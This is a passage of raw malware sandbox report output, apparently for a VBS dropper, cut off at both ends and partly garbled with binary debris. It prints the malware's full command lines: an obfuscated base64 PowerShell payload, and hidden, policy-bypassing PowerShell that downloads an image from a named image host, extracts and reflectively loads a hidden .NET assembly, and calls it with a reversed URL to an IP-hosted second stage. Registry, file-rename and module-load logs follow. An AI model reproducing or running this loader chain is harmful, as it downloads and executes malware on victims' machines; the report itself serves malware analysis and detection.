u2042\u21f5C\u2042\u21f5\u2042\u21f5Kw\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5u\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bi\u2042\u21f5GE\u2042\u21f5cwBl\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5BM\u2042\u21f5GU\u2042\u21f5bgBn\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bh\u2042\u21f5HI\u2042\u21f5d\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5FM\u2042\u21f5dQBi\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5By\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Cw\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBD\u2042\u21f5G8\u2042\u21f5bgB2\u2042\u21f5GU\u2042\u21f5cgB0\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5EY\u2042\u21f5cgBv\u2042\u21f5G0\u2042\u21f5QgBh\u2042\u21f5HM\u2042\u21f5ZQ\u2042\u21f52\u2042\u21f5DQ\u2042\u21f5UwB0\u2042\u21f5HI\u2042\u21f5aQBu\u2042\u21f5Gc\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5b\u2042\u21f5Bv\u2042\u21f5GE\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5GQ\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBS\u2042\u21f5GU\u2042\u21f5ZgBs\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5Gk\u2042\u21f5bwBu\u2042\u21f5C4\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5Ew\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5HQ\u2042\u21f5eQBw\u2042\u21f5GU\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bs\u2042\u21f5G8\u2042\u21f5YQBk\u2042\u21f5GU\u2042\u21f5Z\u2042\u21f5BB\u2042\u21f5HM\u2042\u21f5cwBl\u2042\u21f5G0\u2042\u21f5YgBs\u2042\u21f5Hk\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BU\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5Cg\u2042\u21f5JwBG\u2042\u21f5Gk\u2042\u21f5YgBl\u2042\u21f5HI\u2042\u21f5LgBI\u2042\u21f5G8\u2042\u21f5bQBl\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5bQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5B0\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5C4\u2042\u21f5RwBl\u2042\u21f5HQ\u2042\u21f5TQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5n\u2042\u21f5FY\u2042\u21f5QQBJ\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5L\u2042\u21f5\u2042\u21f5o\u2042\u21f5Cc\u2042\u21f5d\u2042\u21f5B4\u2042\u21f5HQ\u2042\u21f5Lg\u2042\u21f5y\u2042\u21f5DM\u2042\u21f5N\u2042\u21f5Bk\u2042\u21f5GU\u2042\u21f5LwBs\u2042\u21f5HQ\u2042\u21f5Lw\u2042\u21f53\u2042\u21f5DY\u2042\u21f5MQ\u2042\u21f5u\u2042\u21f5DE\u2042\u21f5Ng\u2042\u21f5x\u2042\u21f5C4\u2042\u21f5Ng\u2042\u21f51\u2042\u21f5DE\u2042\u21f5Lg\u2042\u21f50\u2042\u21f5Dk\u2042\u21f5Lw\u2042\u21f5v\u2042\u21f5Do\u2042\u21f5c\u2042\u21f5B0\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5n\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5G0\u2042\u21f5ZQB0\u2042\u21f5Gg\u2042\u21f5bwBk\u2042\u21f5C4\u2042\u21f5SQBu\u2042\u21f5HY\u2042\u21f5bwBr\u2042\u21f5GU\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5G4\u2042\u21f5dQBs\u2042\u21f5Gw\u2042\u21f5L\u2042\u21f5\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5KQ\u2042\u21f5=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('\u2042\u21f5','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00001544) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.234de/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002724)45:Ta65,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.234de/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002724, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.234de/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")46:T5fe,"powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF103707.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JD1ZC8KSEZRSQU1RDFT7.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1052a2.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SNBB4A2J7POYF9NT5378.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF106f07.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2GCCVNZ2PP8EM6FBGKA2.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms"47:Tf51,Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00003484-00000C25-32105852] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00003484-00000C25-32287667] Observed system executable string:"%WINDIR%\system32\wshext.dll" [Source: 00000000-00003484-00000C25-32352595] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00002164-00000C25-36565427] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00002164-00000C25-37989440] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" [Source: 00000000-00002164-00000C25-38417054] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" [Source: 00000000-00002164-00000C25-38791841] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll" [Source: 00000000-00002164-00000C25-38829763] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll" [Source: 00000000-00002164-00000C25-38891532] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll" [Source: 00000000-00002164-00000C25-39018437] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" [Source: 00000000-00002164-00000C25-39201005] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002164-00000C25-39365409] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002164-00000C25-39431877] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll" [Source: 00000000-00002164-00000C25-40082705] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll" [Source: 00000000-00002164-00000C25-40244439] Observed system executable string:"%WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll" [Source: 00000000-00002164-00000C25-40287845] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll" [Source: 00000000-00002164-00000C25-40502501] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll" [Source: 00000000-00002164-00000C25-40518442] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll" [Source: 00000000-00002164-00000C25-40533104] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll" [Source: 00000000-00002164-00000C25-40548155] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll" [Source: 00000000-00002164-00000C25-40730021] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll" [Source: 00000000-00002164-00000C25-40771965] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll" [Source: 00000000-00002164-00000C25-40802822] Observed system executable string:"%WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" [Source: 00000000-00002164-00000C25-41114938] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll" [Source: 00000000-00002164-00000C25-41307285]48:T98b,Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System ..." (UID: 00000000-00001844), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00002120), Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%A ..." (UID: 00000000-00001204) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPD ..." (UID: 00000000-00002164) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQB ..." (UID: 00000000-00001544) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command " ..." (UID: 00000000-00002724, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.234de/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")49:T55e,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB")4a:T94d,"powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\CRYPT32.dll" - [base:0; Status:c0000135]4b:Tc9f,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{11016101-E366-4D22-BC06-4ADA335C892B}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\OBJECTS\{871C5380-42A0-1069-A2EA-08002B30309D}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: 